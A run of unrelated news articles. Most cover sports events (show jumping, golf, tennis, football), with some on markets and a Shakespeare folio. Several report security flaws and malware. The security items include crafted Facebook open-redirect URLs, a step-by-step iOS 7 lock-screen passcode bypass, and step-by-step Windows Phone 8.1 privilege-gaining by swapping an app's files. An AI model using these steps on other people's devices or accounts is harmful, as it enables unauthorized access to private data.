47 Photos: Best images from 2019 Global Champions Tour and GCLBen Maher and Explosion W in action at Chantilly.Hide Caption 21 of 47 Photos: Best images from 2019 Global Champions Tour and GCLParis – Paris: The Eiffel Tower and the Champ de Mars provided a stunning setting for round 11 of the Longines Global Champions Tour. Hide Caption 22 of 47 Photos: Best images from 2019 Global Champions Tour and GCLNew dad Christian Ahlmann jumped to his fifth victory on the global circuit.Hide Caption 23 of 47 Photos: Best images from 2019 Global Champions Tour and GCLMonaco – Monaco: The glitzy riviera resort of Monaco held the 10th and halfway stop of the Longines Global Champions Tour and Global Champions League. Hide Caption 24 of 47 Photos: Best images from 2019 Global Champions Tour and GCLDutchman Maikel van der Vleuten riding Beauville Z dazzled under the floodlights in the principality. Hide Caption 25 of 47 Photos: Best images from 2019 Global Champions Tour and GCLDutchman Maikel van der Vleuten won the Monaco leg of the Longines Global Champions Tour riding Beauville Z. Hide Caption 26 of 47 Photos: Best images from 2019 Global Champions Tour and GCLCascais, Portgual – Cascais: Switzerland's Martin Fuchs clinched double victory by winning both the Longines Global Champions Tour event and partnering Ben Maher to triumph in the Global Champions League for London Knights on the Portuguese coast.Hide Caption 27 of 47 Photos: Best images from 2019 Global Champions Tour and GCLBritain's Maher, the defending LGCT overall champion, rode his Explosion W to second in the individual Grand Prix in Cascais.Hide Caption 28 of 47 Photos: Best images from 2019 Global Champions Tour and GCLStockholm, Sweden – Stockholm: Peder Fredricson celebrates after winning the inaugural LGCT in the Olympic Stadium in Stockholm.Hide Caption 29 of 47 Photos: Best images from 2019 Global Champions Tour and GCLThe Swedish capital welcomed the Global Champions Tour for the first time in June 2019. Hide Caption 30 of 47 Photos: Best images from 2019 Global Champions Tour and GCLCannes, France – Cannes: The "City of Stars" on the French Riviera hosted round seven of the Longines Global Champions Tour and Global Champions League. Hide Caption 31 of 47 Photos: Best images from 2019 Global Champions Tour and GCLBelgium's Niels Bruynseels riding Gancia de Muze edged British Olympic gold medalist Scott Brash to win his first LGCT Grand Prix event. Hide Caption 32 of 47 Photos: Best images from 2019 Global Champions Tour and GCLHamburg, Germany – Hamburg: Home favorite Daniel Deusser rode Jasmien v. Bisschop to victory in the Hamburg leg of the Longines Global Champions Tour.Hide Caption 33 of 47 Photos: Best images from 2019 Global Champions Tour and GCLSpectators enjoyed lavish hospitality in the German city as the world's best show jumpers competed just yards from their seats.Hide Caption 34 of 47 Photos: Best images from 2019 Global Champions Tour and GCLMadrid, Spain – Madrid: Fuchs rode Chaplin to victory in the Longines Global Champions Tour Grand Prix, as well as partnering Maher to win the Global Champions League title for the London Knights.Hide Caption 35 of 47 Photos: Best images from 2019 Global Champions Tour and GCLMadrid – Madrid: Van der Vleuten on Dana Blue finished a narrow second behind Fuchs in the Spanish capital.Hide Caption 36 of 47 Photos: Best images from 2019 Global Champions Tour and GCLShanghai, China – Shanghai: Danielle Goldstein rode Lizziemary to the Longines Global Champions Tour title in Shanghai in early May.Hide Caption 37 of 47 Photos: Best images from 2019 Global Champions Tour and GCL – Israel's Goldstein beat Irishman Darragh Kenny on Balou du Reventon by just 0.08 seconds in the jump-off.Hide Caption 38 of 47 Photos: Best images from 2019 Global Champions Tour and GCLMiami Beach, USA – Miami Beach: The spectacular waterside setting provided a picture-perfect backdrop for the Miami Beach event. Pictured: Georgina Bloomberg riding Chameur 137.Hide Caption 39 of 47 Photos: Best images from 2019 Global Champions Tour and GCLBelgium's Pieter Devos and his 11-year-old Claire Z triumphed in an eight-rider jump-off for his first GCT win since 2014. Hide Caption 40 of 47 Photos: Best images from 2019 Global Champions Tour and GCLDevos beat Harrie Smolders and Don VHP Z by 0.04 seconds in a nail-biting finish.Hide Caption 41 of 47 Photos: Best images from 2019 Global Champions Tour and GCLMexico City, Mexico – Mexico City: Jerome Guery and Quel Homme de Hus celebrated their first LGCT victory in Mexico.Hide Caption 42 of 47 Photos: Best images from 2019 Global Champions Tour and GCL – Guery's stallion was given to him by his best friend two months before the event but they gelled to win a 12-horse jump-off.Hide Caption 43 of 47 Photos: Best images from 2019 Global Champions Tour and GCL – The Campo Marte venue, at more than 2,000 feet above sea level, hosted the equestrian events at the 1968 Olympic Games.Hide Caption 44 of 47 Photos: Best images from 2019 Global Champions Tour and GCLDoha, Qatar – Doha: France's Julien Epaillard and Usual Suspect d'Auge raced to victory in the jump-off in the season opener in Doha.Hide Caption 45 of 47 Photos: Best images from 2019 Global Champions Tour and GCL – The event was held at the state-of-the-art Al Shaqab Equestrian Facility in Doha.Hide Caption 46 of 47 Photos: Best images from 2019 Global Champions Tour and GCL – Britain's Maher came into the 2019 season as overall LGCT defending champion.Hide Caption 47 of 47Jump-offAfter the second rider in the jump-off, Ireland's Shane Sweetnam and Alejandro took an early lead with a clear round in 37.44 seconds, the next six riders all failed to overtake him.The crowd went silent as Maher and Explosion W calmly entered the arena as the ninth combination.Maher knew he had to go full throttle if he wanted to have a shot at victory and narrowing the gap between himself and the overall series leader, Belgium's Pieter Devos, who had eight faults in the jump-off."I saw Shane, and he was pretty fast," Maher said in a news conference after the event. "I took every risk, at every fence, and he came up in the right place." With three more riders to go, Maher looked on from the warmup arena. With Belgian's Constant van Paesschen and Eric Lamaze of Canada, the 2008 individual Olympic champion, on eight and four penalties, respectively, the crowd held its breath as the final competitor, Ireland's Darragh Kenny and Classic Dream, put down a flawless round, only to finish in third place as they were 1.64 seconds slower than Maher's time of 35.98 seconds.Once it became clear he had won, Maher's team, which included his grooms, his truck drivers and his backers, the British Moffitt family of Poden Farms, celebrated wildly with him in the warmup arena."I have a great support team, and it's nice to give something back," said Maher, who rose to second from third on the overall LGCT leaderboard after 14 events, and now sits just six points behind Devos, who has 258 points. Germany's Daniel Deusser is third, 26 points behind the overall leader. "Being home is worth three of any other," said Maher. "It's been an amazing day, I am very happy." Although Sweetnam missed out on the win, his second place in London meant he qualified for the season-ending Prague Playoffs from November 21-24.Global Champions LeagueEarlier on Saturday, Maher and Belgium's Olivier Philippaerts successfully defended their London crown as they raced to a fourth win of the season with the London Knights in the Global Champions League (GCL) team event. The pair received a huge cheer from the London crowd as they entered the arena for the victory ceremony, accompanied by members of the Household Cavalry and the red-coated Chelsea Pensioners, British war veterans who live at the Royal Chelsea Hospital. The Knights clinched the home victory after they were the only team to go clear over a total of four rounds. Valkenswaard United were second with four penalties while New York Empire, which also had four penalties but were almost six seconds slower than United, were third. View this post on Instagram 🌟🌟AUTOGRAPH SESSION 🌟🌟 Meet the @londonknightsgcl team at our GC Official Store at 12.00 today in the shopping village 😍 . . 📸 @gcl_official #gcl #london #horse #showjumping #royalhospitalchelsea #wow #instagood #picoftheday A post shared by GCL (@gcl_official) on Aug 3, 2019 at 2:40am PDT "I didn't see the rest go, but I knew my horse well and took my time," said Philippaerts. "It really worked out well today. It was amazing in front of a home crowd, so to pull it off was really amazing."As Philippaerts and H&M Extra watched on from inside the arena, the crowd gasped as Maher, wearing a jacket in the same bright red colors as the Chelsea Pensioners, sent Explosion W round at top speed.The home win handed the Knights, who earlier in the season triumphed in Stockholm, Cascais and Madrid, the lead on the overall GCL leaderboard, with 258 points. That's six points clear of Miami Celtics, the only other team to score a home win this season, and eleven points ahead of St Tropez Pirates. Visit cnn.com/sport for more news and videos"The London Knights, we've been working hard all season, and hopefully now, we are gaining some momentum," said Maher.The next leg of the regular 18-leg Longines Global Champions Tour will be staged in Valkenswaard, Netherlands, between August 9 and 11.
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Story highlightsU.S. Open starts Thursday at the Olympic Club in San FranciscoTiger Woods comes to this tournament after a winSome feel the Memorial victory may get Woods back on trackThere will be many star golfers swinging irons at the Olympic Club starting Thursday, but for the next few days all eyes will be on Tiger Woods.The burning question for many fans watching the action in San Francisco is which Tiger Woods will show up for the U.S. Open. Will it be the resurgent Woods that stormed to a recent victory at the Memorial? Or will it be the injury-plagued, mediocre-putting Woods that has struggled to compete in recent years?Some say Woods' triumphant win at Memorial on June 3, featuring a dazzling shot and his reminiscent fist pump, may foreshadow what will be seen in San Francisco.Can Tiger Woods crack the U.S. Open's 'graveyard of champions?' Photos: 2012 U.S. Open preview Photos: 2012 U.S. Open preview'Graveyard of champions' – The U.S. Open will tee off at the Olympic Club for the fifth time on Thursday, with the San Francisco venue having developed a reputation for toppling some of golf's biggest stars.Hide Caption 1 of 8 Photos: 2012 U.S. Open previewHogan catches some Fleck – Jack Fleck, pictured here during the Masters' par-three in 2011, caused a big shock back in 1955. He snatched the U.S. Open title from Ben Hogan -- who had been congratulated on his apparent triumph by a TV commentator before his little-known rival forced a playoff and won it.Hide Caption 2 of 8 Photos: 2012 U.S. Open previewCasper the not-so-friendly host – In 1966, California native Billy Casper clawed back a seven-shot deficit to the legendary Arnold Palmer to clinch the U.S. Open title at Olympic.Hide Caption 3 of 8 Photos: 2012 U.S. Open previewRory rides again – The highlight of Rory McIlroy's career so far arrived at last year's U.S. Open, where he secured a record-breaking triumph at Congressional just months after throwing away a four-shot lead on the final day of the Masters. Hide Caption 4 of 8 Photos: 2012 U.S. Open previewStrange goings on – The last time a player successful defended the U.S. Open was more than 20 years ago, when American Curtis Strange claimed back-to-back titles in 1988 and 1989.Hide Caption 5 of 8 Photos: 2012 U.S. Open previewTiger's time again? – Tiger Woods, a three-time U.S. Open winner, is one of the favorites for this year's event, thanks to his success at the recent Memorial Tournament. The former world No. 1 is four titles short of Jack Nicklaus' record of 18 major triumphs.Hide Caption 6 of 8 Photos: 2012 U.S. Open previewMobile Martin – Casey Martin has qualified to start in a U.S. Open at Olympic for the second time. He has been granted special dispensation to use a golf cart due to a rare circulatory disorder in his right leg -- as he did when he tied for 23rd in 1998.Hide Caption 7 of 8 Photos: 2012 U.S. Open preview'Gentleman Jim' – Former world heavyweight boxing champion "Gentleman Jim" Corbett used the Olympic Club as a training and coaching venue. Corbett lived between 1866 and 1933.Hide Caption 8 of 8JUST WATCHEDTiger Woods: I have plenty of timeReplayMore Videos ...MUST WATCHTiger Woods: I have plenty of time 01:18JUST WATCHEDU.S. Open's youngest playerReplayMore Videos ...MUST WATCHU.S. Open's youngest player 01:23JUST WATCHEDCasey Martin gets 2nd shot at U.S. Open ReplayMore Videos ...MUST WATCHCasey Martin gets 2nd shot at U.S. Open 02:30"Tiger's performance at Memorial bodes well for him at the U.S. Open," said Peter Dixon, a golf correspondent for British newspaper The Times. "He seems to have got his swing under control and is now able to move the ball in both directions -- which will be needed at the Olympic Club."The Tiger Woods' fall-from-grace story has been told and retold so many times that some have been looking for the once-dominant golfer to write a new chapter.Woods looks like he is ready, according to some golf journalists.U.S. Open latest scores"He has lost a lot of his aura, but some of it is coming back," Dixon said. "He is strutting around again and looks as if he believes he is the man to beat."At one point in his career, Woods seemed a lock to smash Jack Nicklaus' record of 18 major titles.Photos: Golf's young prodigiesAlthough his last major win was at the 2008 U.S. Open, Woods says he considers this tournament a real challenge."This is the hardest test that we play every year. What makes it difficult is that we play different venues every year," the 14-time major champion told reporters. Along with Woods, oddsmakers say that Luke Donald, Steve Stricker or Phil Mickelson, who holds the record for most second-place finishes at the Open, could take the championship.Rory McIlroy, won the U.S. Open last year, but the young golfer has been plagued with his own slump recently, missing three straight cuts.Woods will get a look at some of the tough competition starting Thursday as he is paired with Mickelson and fan favorite and Masters champion Bubba Watson.Chinese teen golfer set to make U.S. Open history
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Joomla – the world's second popular open source Content Management System (CMS) software packages, has just released the latest version of its CMS, which includes patches for two critical security vulnerabilities and a bug fix.
The two critical flaws, both exist in the Joomla Core functionalities, include Account Creation Vulnerability (CVE-2016-8870) and Elevated Privileges flaw (CVE-2016-8869) that, if unpatched, could put millions of websites that run on Joomla at risk.
The account creation bug could allow any user to register on a website, even if the registration process has been disabled, while the elevated privileges flaw could enable users to perform advanced functions on a registered site that ordinary users are not authorized to do.
Both the critical vulnerabilities affect Joomla version 3.4.4 through 3.6.3. The update also includes a bug fix for Two-Factor Authentication.
Millions of websites used in e-commerce and other sensitive industries used Joomla, including big brand services such as McDonalds, Linux.com, General Electric, and major news sites.
So, Joomla administrators are recommended to quickly update their websites to the updated version 3.6.4 of the CMS immediately.
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(CNN)You want marquee matchups? Oh, we've got them!Serena Williams said she owed Naomi Osaka an apology after the US Open. Osaka's response brought her to tearsAnother chapter will be written in the storied Roger Federer vs. Rafael Nadal rivalry. And Novak Djokovic is facing someone who originally had planned on being at his bachelor party; more on that in a bit.And it's not just about the Big 3. Serena Williams -- remember her? -- is accelerating toward a 24th major title to tie her with Margaret Court for the most all time, but standing in her way is a formidable foe in Simona Halep.These final few matches at Wimbledon will be must-see TV. But there's more. There will be a new world champion in men's cricket. And if you want extra speed, it's available in the form of horsepower and some furious pedaling.Here's your guide to the weekend's biggest sports events: Read MoreWimbledonSpain's Roberto Bautista Agut was supposed to be in Ibiza for his bachelor party this weekend, but instead has the pleasure of playing against the world No. 1 and reigning Wimbledon champion Djokovic in the semifinals."We had everything organized already," the No. 23 seed, in his first major semifinal at age 31, said earlier this week. "My friends, six of them, are all there. It feels better to be here in London." Instead, he said, he thinks they'll be flying to London on Friday.Following that match is Fedal XL -- one of the biggest rivalries in all of sports. It's their first grass court match against each other since the epic 2008 final, which Nadal won. In the previous 39 meetings, Nadal, now 33 years old, has bested Federer 24 times, but the 37-year-old Federer has dominated the grass court and is going for a record ninth Wimbledon title.Federer has the most major singles titles of any man, with 20. Nadal is second with 18 and Djokovic, at 32, is third with 15.Roger Federer and Rafael Nadal meet in historic Wimbledon rematchMeanwhile, Williams is the oldest grand slam finalist in the Open Era at 37 years, 291 days, surpassing Martina Navratilova at Wimbledon in 1994 at 37 years, 258 days, according to the WTA. Williams is seeking her eighth Wimbledon singles title. Only Navratilova has won more, with nine. In the pre-Open Era, Helen Wills Moody won eight.Williams also is bidding to be the fourth mother to win a major in the Open Era, following Court, Evonne Goolagong Cawley and Kim Clijsters. Williams' last major title was the 2017 Australian Open, when she was pregnant.At age 27, Halep has one major title, winning the 2018 French Open. This is her fifth final in her career across all majors.Watch it: Friday: Djokovic vs. Bautista Agut at 8 a.m. ET, with Nadal vs. Federer to follow on ESPNSaturday: Williams vs. Halep at 9 a.m. ET on ESPNSunday: TBD vs. TBD in the men's final at 9 a.m. ET on ESPNInternational viewers, check local listings.Serena Williams to face Simona Halep in Wimbledon finalICC Cricket World Cup FinalNo matter the result on Sunday, the ICC Cricket World Cup will be in unfamiliar hands.Three weeks ago, England was a single defeat away from crashing out of the ICC Cricket World Cup before the close of round-robin play. Now, the hosts are in the final.The English face a dark horse in New Zealand, who arrived in the final after a momentous upset victory over India. The Black Caps from New Zealand turned heads when they ended the nine-match unbeaten streak of the highly favored Men in Blue. But they haven't quickly forgotten the 119-run drubbing England dealt them during the round-robin phase of the tournament.England last reached the final in 1992. For New Zealand, it was in 2015. The winner will be a first-time world champion.Watch it: Sunday: At 5:30 a.m. ET on WillowInternational viewers, check local listings.Australia vs. England: England ends 27-year wait to reach World Cup finalNational Women's Soccer League In the wake of perhaps the most exciting Women's World Cup to date, the superstars that many fell in love with this summer are asking fans not to leave their passion behind in France.Fifty-five World Cup players, including the entire US Women's National Team, play in the NWSL. In the midst of all the action in France, ESPN reached a deal with the NWSL to air the final 14 matches of the season: 11 regular-season games and the playoffs. Alex Morgan, Tobin Heath, Emily Sonnet, Ashlyn Harris, Lindsey Horan, Christine Sinclair, and Marta are only a few of the names headlining just the first of those matches this weekend. Watch it: Sunday: Portland Thorns FC vs. Orlando Pride at 3 p.m. ET on ESPNEWSInternational viewers, check local listings.Alex Morgan jokes that the ESPY she won for best female athlete was the week's 'second-best' trophyFormula 1 Rolex British Grand Prix Formula 1 is returning to its roots in Silverstone in the United Kingdom with the British Grand Prix.The history of this particular race dates back to 1950 and has been riddled with exciting finishes and shocking moments. New chapters continue to be written at the storied track year after year -- lately with one dominant, main character.Briton Lewis Hamilton is the defending World Drivers' Champion, the current F1 leader in the standings and holder of the fastest time at the Silverstone Circuit, which is less than 60 miles from where he grew up. He's the overwhelming favorite, with his sights set on a record sixth British Grand Prix win.But it's no guarantee, as evidenced by last year, when Hamilton was involved in a first-lap collision and ultimately finished second to Sebastian Vettel.Watch it: Saturday: Qualifying at 9 a.m. ET on ESPNEWSSunday: Race at 9:10 a.m. ET on ESPN2International viewers, check local listings.British Grand Prix: Can Lewis Hamilton overtake Michael Schumacher in Formula 1's record books?Los Angeles Angels at home for first time since Tyler Skaggs' death The Los Angeles Angels will host the Seattle Mariners in what will surely be an emotional return to Angels Stadium following the death of pitcher Tyler Skaggs, who passed away in a Texas hotel room on July 1.The team will honor Skaggs with a pregame ceremony on Friday.Previously, teammates Mike Trout and Tommy La Stella both wore Skaggs' number 45 during the MLB All-Star Game, while Angels pitcher Andrew Heaney fought back tears when he threw Skaggs' signature overhand curve ball for his first pitch against the Houston Astros on Saturday. Moments of silence have been held in stadiums all around the league.Andrew Heaney throws a curveball on his first pitch in honor of Tyler Skaggs. pic.twitter.com/W4PXosi3Wr— Los Angeles Angels (@Angels) July 6, 2019
Watch it: Friday: 10:07 p.m. ET on MLB TV, FOX Sports West and ROOT SPORTS NorthwestSaturday: 9:07 p.m. ET on MLB TV, FOX Sports West and ROOT SPORTS NorthwestSunday: 4:07 p.m. ET on MLB TV, FOX Sports West and ROOT SPORTS NorthwestInternational viewers, check local listings.Why Tyler Skaggs' death sends a wave of heartache through baseballTour de France The world's most famous cycling race continues this weekend in France. For all of its grace and scenic beauty, the route to the elusive yellow jersey is a grueling 3,500-kilometer battle that will test the mental fortitude and the physical durability of the world's best cyclists.Team Ineos has provided six of the last seven winners of the Tour de France, but the absence of their captain, Chris Froome, has left this race wide open. Sunday is Bastille Day in France and the focus will be on world No. 1 Julian Alaphillippe, who many think could return the Tour de France title to French hands for the first time since 1985. The race is scheduled to conclude July 28.Watch it:Friday: Stage 7 starting at 8 a.m. ET on NBCSNSaturday: Stage 8 on starting at 6:30 a.m. ET on NBCSNSunday: Stage 9 starting at 7:30 a.m. ET on NBCSNInternational viewers, check local listings.
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Threat actors known for keeping a low profile do so by ceasing operations for prolonged periods in between to evade attracting any attention as well as constantly refining their toolsets to fly below the radar of many detection technologies.
One such group is FIN8, a financially motivated threat actor that's back in action after a year-and-a-half hiatus with a powerful version of a backdoor with upgraded capabilities including screen capturing, proxy tunneling, credential theft, and fileless execution.
First documented in 2016 by FireEye, FIN8 is known for its attacks against the retail, hospitality, and entertainment industries while making use of a wide array of techniques such as spear-phishing and malicious tools like PUNCHTRACK and BADHATCH to steal payment card data from point-of-sale (POS) systems.
"The FIN8 group is known for taking long breaks to improve TTPs and increase their rate of success," Bitdefender researchers said in a report published today. "The BADHATCH malware is a mature, highly advanced backdoor that uses several evasion and defense techniques. The new backdoor also attempts to evade security monitoring by using TLS encryption to conceal Powershell commands."
BADHATCH, since its discovery in 2019, has been deployed as an implant capable of running attacker-supplied commands retrieved from a remote server, in addition to injecting malicious DLLs in a current process, gathering system information, and exfiltrating data to the server.
Noting that at least three different variants of the backdoor (v2.12 to 2.14) have been spotted since April 2020, the researchers said the latest version of BADHATCH abuses a legitimate service called sslp.io to thwart detection during the deployment process, using it to download a PowerShell script, which in turn executes the shellcode containing the BADHATCH DLL.
The PowerShell script, besides taking responsibility for achieving persistence, also takes care of privilege escalation to ensure that all commands post the script's execution are run as the SYSTEM user.
Furthermore, a second evasion technique adopted by FIN8 involves passing off communications with the command-and-control (C2) server that masquerade as legitimate HTTP requests.
According to Bitdefender, the new wave of attacks is said to have taken place over the past year and directed against insurance, retail, technology, and chemical industries in the U.S., Canada, South Africa, Puerto Rico, Panama, and Italy.
"Like most persistent and skilled cyber-crime actors, FIN8 operators are constantly refining their tools and tactics to avoid detection," the researchers concluded, urging businesses to "separate the POS network from the ones used by employees or guests" and filter out emails containing malicious or suspicious attachments.
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Security Researcher Dan Melamed discovered an Open URL redirection vulnerability in Facebook that allowed him to have a facebook.com link redirect to any website without restrictions.
An open URL Redirection flaw is generally used to convince a user to click on a trusted link which is specially crafted to take them to an arbitrary website, the target website could be used to serve a malware or for a phishing attack.
An Open URL Redirection url flaw in Facebook platform and third party applications also exposes the user's access token at risk if that link is entered as the final destination in an Oauth dialog.
The Facebook Open URL Redirection vulnerability exists at landing.php page with "url" parameter, i.e.
https://facebook.com/campaign/landing.php?url=https://yahoo.com
This URL will always redirects user to the Facebook's homepage, but it is sufficient to manipulate the "url" parameter assigning a random string:
https://facebook.com/campaign/landing.php?url=asdf
In reality the above URL generated a unique "h" variable and passed the url parameter to Facebook's Linkshim (l.php):
https://www.facebook.com/l.php?u=asdf&h=mAQHgtP_E
Once noted the redirection process, Dan Melamed explored the way to exploit the mechanism to bypass the restrictions on redirection and loaded an arbitrary link.
Dan discovered that simply removing the https:// part of the target destination is enough to redirect a Facebook link elsewhere without any restriction i.e.
https://facebook.com/campaign/landing.php?url=yahoo.com
The Facebook's Linkshim (l.php) interprets the link target.com the same as https://target.com making possible the redirection.
Facebook informed Dan that because the redirection occurs through the l.php method, the social networking platform is able to apply a proper filter from redirecting using automatic spam and malware analysis.
It is easy to understand that despite Facebook filters target url, it could not detect all malware/spam campaign addressed "and by the time a link is banned, an attacker would have already moved on to another link."
Proof of Concept video:
Facebook quickly fixed the vulnerability after the Dan's report and the payout $1,000 reward under the bug bounty program.
In Past he had revealed a Critical Facebook vulnerability that allowed account hacking and two Facebook vulnerabilities related to the Fanpage Invite of the popular social network.
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New York (CNN Business)Wall Street's attempt for a Wednesday rally failed, with stocks closing broadly lower on continued worries about the likelihood of an imminent invasion of Ukraine by Russia. The Dow closed down more than 464 points, or 1.4%, after opening the session higher. It was a broad-based slide, with 28 of the Dow's 30 stocks finishing in negative territory. Only oil giant Chevron (CVX) and Johnson & Johnson (JNJ) ended the day in green. Energy was the sole market sector to finish with a gain.The S&P 500 and Nasdaq fell 1.8% and 2.6%, respectively. The Dow and Nasdaq posted their fifth straight day of losses, while the S&P 500 has fallen the past four trading sessions.The S&P 500 is now about 12% below its all-time high. That puts the index into correction territory — more than 10% below the recent peak. The Nasdaq is moving closer to bear market status, a 20% pullback from a high. The tech-heavy index is now 19% below its record levels.Read MoreInvestors are worried about the possibility that oil prices could spike even higher if there is a long, drawn-out conflict in Ukraine. The United States and Europe have already responded with sanctions against Russia that could damage the global economy.Fears of cyber warfare by Russia may be rattling investor confidence as well.
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Like most iOS lock screen vulnerabilities, the passcode lock screen on iOS 7 also suffers from a bug that allows anyone with direct access to the iPhone or iPad.
Although Apple claims to have fixed 80 security vulnerabilities with iOS 7, including the ability to bypass the lock screen in iOS 6.1.3, the same person who found the previous vulnerability has found yet another in iOS 7.
Discovered by 'Jose Rodriquez', an iPhone user reported a security flaw in iOS that lets anyone bypass the lockscreen passcode and access sensitive information stored in photos, Twitter, email and more.
The flaw resides on users who lock their devices with a traditional PIN code or password. The security flaw is demonstrated in the video below and it works as follows:
Swipe up from the bottom of the Lock screen to open Control Center and Launch the Clock app.
Open the Alarm Clock section of the Clock app and Hold down the power button.
Quickly tap Cancel the immediately double-click the Home button and Hold down for a bit longer on the second click.
From here you can access the camera and stored photos. You can share these photos on Facebook, Twitter, Flickr or via email.
The exploit has been tested successfully on iOS 7 when running on the iPhone 4S, 5, 5C, and 5S, and the most recent iPad model.
Until an official fix is available from Apple, iOS 7 users can avoid this security hole by disabling the control center of the lock screen in their device settings.
Update (5:02 PM Thursday, September 26, 2013 GMT) : Apple has just released iOS 7.0.2, a new update delivering several changes including a fix for a lock screen passcode vulnerability.
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Do you wanna hack Nokia Lumia phone running the latest mobile operating system Windows 8.1 ?? Hackers have made it very easy for you all..!!
Just few weeks after Microsoft announced a 19 year-old critical security hole existed in almost every version of its Windows operating system, XDA-developers have discovered a new vulnerability in Microsoft's youngest OS Windows 8.1 that could easily be exploited by hackers to hack a Nokia Lumia phone.
XDA Developers hacker who go by the name DJAmol has found a wide open hole in OS Windows Phone 8.1 which makes the operating system very easy to hack. The vulnerability allows attackers to run their application with other user's privileges and edit the registry.
DJAmol realized that simply by replacing the contents of a trusted OEM app that has been transferred over to the SD card, the app will inherit the privileges of the original app. Once done, an attacker could then delete the existing directory and create a new directory with the same name as the original App.
As a result, the third party registry editor app will gain full access to the Info and Settings in the app itself. This how the hack can be implement in a few simple steps prescribed by XDA-developers in a blog post.
Develop your own application package and deploy it on the target device.
Install an any application such as "Glance Background Beta" from the Window Phone app Store.
Delete all folders under the targeted directory of the installed app, in this case, Glance background.
Now copy the contents of your own deployed package and paste it on the targeted directory. This implies replacing the "Program Files" of the installed app with your package files.
Finally launch the App which will run in OEM (Glance Background beta) directory using the privileges of the targeted App.
The hack is very simple and easy to implement because all it need an application from the Window app store. But thankfully, the hack has not yet escalated to a full interop unlock, as the applications which are allowed to be moved to the SD card have limited access.
XDA developers forum reported the vulnerability to the Microsoft and also warned them that the vulnerability could give higher privileges to the attackers if tried using a First Party Application, rather a third party app. By the time, we can just wait for a response from Microsoft's part to prevent it from getting more serious.
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(CNN)Amidst all the talk of Liverpool's new age stars, it was two of the club's long-time heroes that delivered a late smash and grab raid in the first leg of the Champions League last-16 tie against Inter Milan on Wednesday.As 18-year-old Harvey Elliot made his European debut and new signing Luis Diaz came on as a second-half substitute, goals from Roberto Firmino and Mo Salah in the final 15 minutes fired Liverpool to a 2-0 victory at the San Siro.Forced to weather a strong start to the second-half by the reigning Serie A champion, Liverpool scored with their first and only shots on target to take a commanding lead back to Anfield on March 8.Having already held the title of the Premier League's youngest ever debutant, Elliot became Liverpool's youngest ever player to start a European fixture -- excluding qualifiers -- and at times looked unnerved at the center of a raucous San Siro atmosphere.Firmino heads Liverpool into the lead with a superb header.The teenage's bright future alongside January arrival Diaz and Diogo Jota looks set to leave the club in safe hands when the trident of Sadio Mane, Firmino and Salah are ultimately broken up, but Wednesday showed the old guard are still the main men when the chips are down.Read MoreFar from their best, Liverpool manager Jürgen Klopp reflected on his team's "not brilliant, but good enough" performance -- blighted only by a suspected ankle injury to Jota, forced off for Firmino at half-time."You cannot come here and hope you have a brilliant day, and that's the only chance of getting a result," Klopp told BT Sport. "We had not a brilliant day, but a good enough day to be the deserved winner."Mo Salah might be the best Premier League player ever but is the 'unprecedented' Liverpool forward still underrated?'We needed to be ready to suffer'A high-tempo opening to the game saw Liverpool start quickly, with Mane -- newly crowned Africa Cup of Nations hero with Senegal -- squandering two of the visitors' best early chances.Inter were inches away from taking the lead when Ivan Perisic's low cross found Hakan Çalhanoğlu, the Turkish midfielder crashing a thunderous strike off the underside of Alisson's crossbar.Mane went close with an audacious acrobatic effort in the first half.With Perisic spearheading a surging start to the second-half for Inter, Klopp rung the changes. A triple substitution just before the hour-mark saw Elliot, Fabinho and Mane depart with Naby Keita, Jordan Henderson and new-signing Diaz enter. But it was the half-time substitute, Firmino, who made the breakthrough, the Brazilian darting across Alessandro Bastoni to superbly head an Andy Robertson corner across goalkeeper Samir Handanovic and just inside the far post.The goal had come against the run of play, yet within 10 minutes Liverpool had doubled their lead. Salah reacted fastest to captain Virgil van Dijk's nod down to rattle -- via a deflection -- a shot past a helpless Handanovic.It was Salah's eighth goal in seven Champions League matches this season.Perisic (L) proved a constant threat down Inter's left side.Having seen out the closing stages, Van Dijk said that Inter's dominance during periods of the game hadn't come as a surprise to Liverpool"Everyone expected to be under pressure, because they are a very good team and it is the Champions League," Van Dijk told BT Sport."We needed to be ready to suffer and do the hard work, and we definitely did. Happy days."Bayern woes continueIn Wednesday's other Champions League fixture, Kingsley Coman spared Bayern Munich's blushes as a disappointing week for the German club continued with a 1-1 draw against Red Bull Salzburg in Austria. Chikwubuike Adamu celebrates scoring the opening goal.Still reeling from Saturday's stunning 4-2 defeat to Vfl Bochum in the Bundesliga -- wherein they are pursuing a tenth straight title -- Bayern fell behind to Chukwubuike Adamu's first-half strike. Salzburg's valiant defending looked to have secured a famous win before Coman tapped home a heartbreaking injury time equalizer.
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Story highlightsAcademics are excited about the discovery of the rare collection of playsAuthenticity of the folio was confirmed by an Oxford expert on ShakespeareThe First Folios, collecting important Shakespeare plays, were published seven years after his death (CNN)Imagine that a limited-edition collection of your writings was published a few years after your death. Then someone found a copy of that book after you had been dead for 400 years, and the world -- or at least the academic community -- went into paroxysms of joy.You might think your writing career had been rather a success.So it is with the playwright William Shakespeare. A so-called First Folio in the collection of a historic house on a Scottish island has been verified as genuine, bringing the number of known surviving First Folios to 234, according to a statement from the Mount Stuart mansion, in whose collection the book was found.Literary discoveries 'do not come much bigger'Read More"In terms of literary discoveries, they do not come much bigger than a new First Folio, and we are really excited that this has happened on Bute," said Alice Martin, the head of collections for the Mount Stuart House Trust. Bute is an island off western Scotland, in the Firth of Clyde.The authenticity of the volumes was confirmed by Emma Smith, a professor of Shakespeare studies at Oxford University. She said she hoped that more exciting discoveries would be made in the collection.Excitement over newly-discovered First Folio wanes when when it proves to be the book club edition #ShakespeareFirstFolio— Stephen Gallagher (@brooligan) April 7, 2016
The First Folios, the first printed collection of 36 of Shakespeare's plays, were published in 1623, seven years after his death. Had it not been for the publication of these volumes, scholars say, more than half of Shakespeare's plays would be unknown to the modern world, including works like "Macbeth" and "The Tempest."The folio found on the Scottish island, whose discovery was announced Thursday, was passed from hand to hand. At one point, it was bought for as little as 38 British pounds. The three-volume folio was rebound in goatskin in 1932.The 400th anniversary of Shakespeare's death is April 23. The 452nd anniversary of his birth also occurs this month, although the exact date is unknown. If Shakespeare can observe the modern world from whatever perch he now occupies, he might be doing so with a smile and a sense of bemusement. So happy birthday, Will. Enjoy the show.Follow @Don_Melvin
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VMware has addressed multiple critical remote code execution (RCE) vulnerabilities in VMware ESXi and vSphere Client virtual infrastructure management platform that may allow attackers to execute arbitrary commands and take control of affected systems.
"A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server," the company said in its advisory.
